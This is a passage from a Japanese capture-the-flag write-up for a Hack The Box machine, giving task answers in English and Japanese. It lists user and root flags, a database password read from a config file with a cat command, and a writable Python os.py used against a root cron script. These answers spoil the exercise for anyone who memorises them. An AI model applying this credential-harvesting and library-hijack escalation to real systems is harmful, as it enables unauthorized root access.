答え:www-data
・Submit User Flag
問題(英語訳):Submit the flag located in the friend user's home directory.
問題(日本語訳):friendユーザーのホームディレクトリにあるフラグを送信します。
答え:567b031d1fc678582d1fc6a1f4e853e8
※「/home/friend/user.txt」の内容。
・Task 9
問題(英語訳):What is the friend user's password?
問題(日本語訳):friendユーザーのパスワードは何ですか?
答え:Agpyu12!0.213$
※「cat /var/www/mysql_data.conf」コマンドを実行すると、以下の内容が出力される。
【cat /var/www/mysql_data.confコマンドの結果】
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
・Task 10
問題(英語訳):What is the full path to the script that root is running every few minutes on a cron?
問題(日本語訳):root が cron で数分ごとに実行しているスクリプトの完全なパスは何ですか?
答え:/opt/server_admin/reporter.py
・Task 11
問題(英語訳):What is the full path to the file related to reporter.py that is also world-writable?
問題(日本語訳):reporter.py に関連し、世界的に書き込み可能なファイルへのフルパスは何ですか?
答え:/usr/lib/python2.7/os.py
・Submit Root Flag
問題(英語訳):Submit the flag located in root's home directory.
問題(日本語訳):ルートのホームディレクトリにあるフラグを送信します。
答え:c6631eeeab70757b42044cdf5afb7eeb
※「/root/root.txt」の内容。関連記事(Hack The Box)
※後日作成予定。

